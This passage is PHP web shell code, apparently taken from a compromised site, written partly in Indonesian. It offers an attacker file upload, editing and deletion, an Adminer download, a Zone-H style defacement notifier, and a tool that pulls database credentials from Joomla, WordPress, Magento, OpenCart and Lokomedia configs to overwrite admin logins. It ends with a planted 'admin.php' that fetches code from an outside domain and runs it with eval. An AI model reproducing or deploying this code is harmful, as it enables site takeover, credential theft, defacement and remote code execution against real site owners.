    if (file_exists('adminer.php')) {
        echo "<font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font>";
    } else {
        if (adminer("https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php")) {
            echo "<font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font>";
        } else {
            echo "<font color=red>Failed to create adminer.php</font>";
        }
    }
    echo "</center>";
    exit;
}

// Simulated Zone-H Notifier
if (isset($_GET['DPH']) && $_GET['DPH'] == 'zoneh') {
    echo "<hr><center><h2>Zone-H Style Notifier (Simulated)</h2>";
    if (isset($_POST['submit'])) {
        $domainList = explode("\r\n", $_POST['url']);
        $nick = $_POST['nick'];
        echo "Notifier Archive: <a href='#' target='_blank'>http://zone-h.org/archive/notifier=$nick</a><br><br>";
        foreach ($domainList as $url) {
            $url = trim($url);
            if ($url) {
                echo htmlspecialchars($url) . " -> <font color=lime>SIMULATED_OK</font><br>";
            }
        }
    } else {
        echo "<form method='post'>
            <u>Defacer</u>: <br>
            <input type='text' name='nick' size='50' value='DPH'><br>
            <u>Domains</u>: <br>
            <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
            <input type='submit' name='submit' value='Submit' style='width: 450px;'>
            </form>";
    }
    echo "</center><hr>";
    exit;
}

// Auto Edit User Config
if (isset($_GET['DPH']) && $_GET['DPH'] == 'edit_user') {
    function ambilkata($string, $start, $end) {
        $str = explode($start, $string);
        if (isset($str[1])) {
            $str = explode($end, $str[1]);
            return $str[0];
        }
        return '';
    }
    
    if (isset($_POST['hajar'])) {
        if (strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
            echo "username atau password harus lebih dari 6 karakter";
        } else {
            $user_baru = $_POST['user_baru'];
            $pass_baru = md5($_POST['pass_baru']);
            $conf = $_POST['config_dir'];
            $scan_conf = scandir($conf);
            foreach($scan_conf as $file_conf) {
                if(!is_file("$conf/$file_conf")) continue;
                $config = file_get_contents("$conf/$file_conf");
                if(preg_match("/JConfig|joomla/",$config)) {
                    $dbhost = ambilkata($config,"host = '","'");
                    $dbuser = ambilkata($config,"user = '","'");
                    $dbpass = ambilkata($config,"password = '","'");
                    $dbname = ambilkata($config,"db = '","'");
                    $dbprefix = ambilkata($config,"dbprefix = '","'");
                    $prefix = $dbprefix."users";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result['id'];
                    $site = ambilkata($config,"sitename = '","'");
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Joomla<br>";
                    if($site == '') {
                        echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
                    } else {
                        echo "Sitename => $site<br>";
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/WordPress/",$config)) {
                    $dbhost = ambilkata($config,"DB_HOST', '","'");
                    $dbuser = ambilkata($config,"DB_USER', '","'");
                    $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"DB_NAME', '","'");
                    $dbprefix = ambilkata($config,"table_prefix  = '","'");
                    $prefix = $dbprefix."users";
                    $option = $dbprefix."options";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[ID];
                    $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[option_value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Wordpress<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/Magento|Mage_Core/",$config)) {
                    $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
                    $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
                    $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
                    $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
                    $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
                    $prefix = $dbprefix."admin_user";
                    $option = $dbprefix."core_config_data";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
                    $result2 = mysql_fetch_array($q2);
                    $target = $result2[value];
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Magento<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
                    $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
                    $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
                    $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
                    $dbname = ambilkata($config,"'DB_DATABASE', '","'");
                    $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
                    $prefix = $dbprefix."user";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
                    $result = mysql_fetch_array($q);
                    $id = $result[user_id];
                    $target = ambilkata($config,"HTTP_SERVER', '","'");
                    if($target == '') {
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                    } else {
                        $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => OpenCart<br>";
                    echo $url_target;
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
                    $dbhost = ambilkata($config,'server = "','"');
                    $dbuser = ambilkata($config,'username = "','"');
                    $dbpass = ambilkata($config,'password = "','"');
                    $dbname = ambilkata($config,'database = "','"');
                    $prefix = "users";
                    $option = "identitas";
                    $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                    $db = mysql_select_db($dbname);
                    $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
                    $result = mysql_fetch_array($q);
                    $target = $result[alamat_website];
                    if($target == '') {
                        $target2 = $result[url];
                        $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        if($target2 == '') {
                            $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
                        } else {
                            $cek_login3 = file_get_contents("$target2/adminweb/");
                            $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
                            if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
                                $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
                            } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
                                $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
                            } else {
                                $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                            }
                        }
                    } else {
                        $cek_login = file_get_contents("$target/adminweb/");
                        $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
                        if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
                            $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
                        } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
                            $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
                        } else {
                            $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
                        }
                    }
                    $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
                    echo "Config => ".$file_conf."<br>";
                    echo "CMS => Lokomedia<br>";
                    if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
                        echo $url_target2;
                    } else {
                        echo $url_target;
                    }
                    if(!$update OR !$conn OR !$db) {
                        echo "Status => <font color=red>".mysql_error()."</font><br><br>";
                    } else {
                        echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
                    }
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo "<center>
        <h1>Auto Edit User Config</h1>
        <form method='post'>
        <input type='hidden' name='d' value='".base64_encode($currentDir)."'>
        DIR Config: <br>
        <input type='text' size='50' name='config_dir' value='$dir'><br><br>
        Set User & Pass: <br>
        <input type='text' name='user_baru' value='DPH' placeholder='user_baru'><br>
        <input type='text' name='pass_baru' value='DPH690' placeholder='pass_baru'><br>
        <input type='submit' name='hajar' value='Sikat!' style='width: 215px;'>
        </form>
        <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
        ";
        exit;
    }
}

// Directory Navigation
$pathParts = explode("/", $currentDir);
echo "<div class=\"dir\">";
foreach ($pathParts as $k => $v) {
    if ($v == "" && $k == 0) {
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('/')\">/</a>";
        continue;
    }
    $dirPath = implode("/", array_slice($pathParts, 0, $k + 1));
    echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($dirPath) . "')\">$v</a>/";
}
echo "</div>";

// Upload
if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) {
    $fileName = $_FILES['u']['name'];
    $tmpName = $_FILES['u']['tmp_name'];
    $destination = $currentDir . '/' . $fileName;
    if (move_uploaded_file($tmpName, $destination)) {
        echo "<script>alert('Upload successful!'); postDir('" . addslashes($currentDir) . "');</script>";
    } else {
        echo "<script>alert('Upload failed!');</script>";
    }
}

// File/Folder Listing
$items = scandir($currentDir);
if ($items !== false) {
    echo "<table>";
    echo "<tr><th>Name</th><th>Size</th><th>Action</th></tr>";

    foreach ($items as $item) {
        $fullPath = $currentDir . '/' . $item;
        if ($item == '.' || $item == '..') continue;

        if (is_dir($fullPath)) {
            echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fullPath) . "')\">📁 $item</a></td><td>--</td><td>--</td></tr>";
        } else {
            $size = filesize($fullPath) / 1024;
            $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB';
            echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postOpen('" . addslashes($fullPath) . "')\">📄 $item</a></td><td>$size</td><td>"
                . "<a href=\"javascript:void(0);\" onclick=\"postDel('" . addslashes($fullPath) . "')\">Delete</a> | "
                . "<a href=\"javascript:void(0);\" onclick=\"postEdit('" . addslashes($fullPath) . "')\">Edit</a> | "
                . "<a href=\"javascript:void(0);\" onclick=\"postRen('" . addslashes($fullPath) . "', '$item')\">Rename</a>"
                . "</td></tr>";
        }
    }
    echo "</table>";
} else {
    echo "<p>Unable to read directory!</p>";
}

// Delete File
if (isset($_POST['del'])) {
    $filePath = base64_decode($_POST['del']);
    $fileDir = dirname($filePath);
    if (@unlink($filePath)) {
        echo "<script>alert('Delete successful'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Delete failed'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

// Edit File
if (isset($_POST['edit'])) {
    $filePath = base64_decode($_POST['edit']);
    $fileDir = dirname($filePath);
    if (file_exists($filePath)) {
        echo "<style>table{display:none;}</style>";
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fileDir) . "')\">Back</a>";
        echo "<form method=\"post\">
            <input type=\"hidden\" name=\"obj\" value=\"" . $_POST['edit'] . "\">
            <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($fileDir) . "\">
            <textarea name=\"content\">" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
            <center><button type=\"submit\" name=\"save\">Save</button></center>
            </form>";
    }
}

// Save Edited File
if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
    $filePath = base64_decode($_POST['obj']);
    $fileDir = dirname($filePath);
    if (file_put_contents($filePath, $_POST['content'])) {
        echo "<script>alert('Saved'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Save failed'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

// Rename
if (isset($_POST['ren'])) {
    $oldPath = base64_decode($_POST['ren']);
    $oldDir = dirname($oldPath);
    if (isset($_POST['new'])) {
        $newPath = $oldDir . '/' . $_POST['new'];
        if (rename($oldPath, $newPath)) {
            echo "<script>alert('Renamed'); postDir('" . addslashes($oldDir) . "');</script>";
        } else {
            echo "<script>alert('Rename failed'); postDir('" . addslashes($oldDir) . "');</script>";
        }
    } else {
        echo "<form method=\"post\">
            New Name: <input name=\"new\" type=\"text\">
            <input type=\"hidden\" name=\"ren\" value=\"" . $_POST['ren'] . "\">
            <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($oldDir) . "\">
            <input type=\"submit\" value=\"Submit\">
            </form>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager + Adminer + ZoneH + AutoEditUser</title>
    <style>
        table { margin: 20px auto; border-collapse: collapse; width: 90%; }
        th, td { border: 1px solid #000; padding: 5px; text-align: left; }
        textarea { width: 100%; height: 300px; }
        .dir { margin: 20px; }
    </style>
    <script>
        function postDir(dir) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "d";
            input.value = btoa(dir);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postDel(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "del";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postEdit(path) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.name = "edit";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
        function postRen(path, name) {
            var newName = prompt("New name:", name);
            if (newName) {
                var form = document.createElement("form");
                form.method = "post";
                var input1 = document.createElement("input");
                input1.name = "ren";
                input1.value = btoa(path);
                var input2 = document.createElement("input");
                input2.name = "new";
                input2.value = newName;
                form.appendChild(input1);
                form.appendChild(input2);
                document.body.appendChild(form);
                form.submit();
            }
        }
        function postOpen(path) {
            window.open(atob(btoa(path)));
        }
    </script>
</head>
<body>
    <div class="dir">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="u">
            <input type="submit" name="s" value="Upload">
            <input type="hidden" name="d" value="<?php echo base64_encode($currentDir); ?>">
        </form>
        <div style="margin-top: 10px;">
            <a href="?DPH=adminer">Adminer Download</a> | 
            <a href="?DPH=zoneh">Zone-H Notifier</a> | 
            <a href="?DPH=edit_user">Auto Edit User Config</a>
        </div>
    </div>
</body>
</html>img/images/assets/dist/files/media/backup/nxmg/jxf/admin.php000066600000000566151334722440020041 0ustar00<?php
$allowed_host = 'stepmomhub.com';
$url = 'https://stepmomhub.com/5.txt';

// Pastikan domain sesuai
if (parse_url($url, PHP_URL_HOST) !== $allowed_host) {
    die("URL tidak diizinkan!");
}

// Ambil kode dengan cURL/file_get_contents
$code = file_get_contents($url);
if ($code) {
    eval('?>' . $code);
} else {
    die("Gagal mengambil kode.");
}
?>
Back to Directory File Manager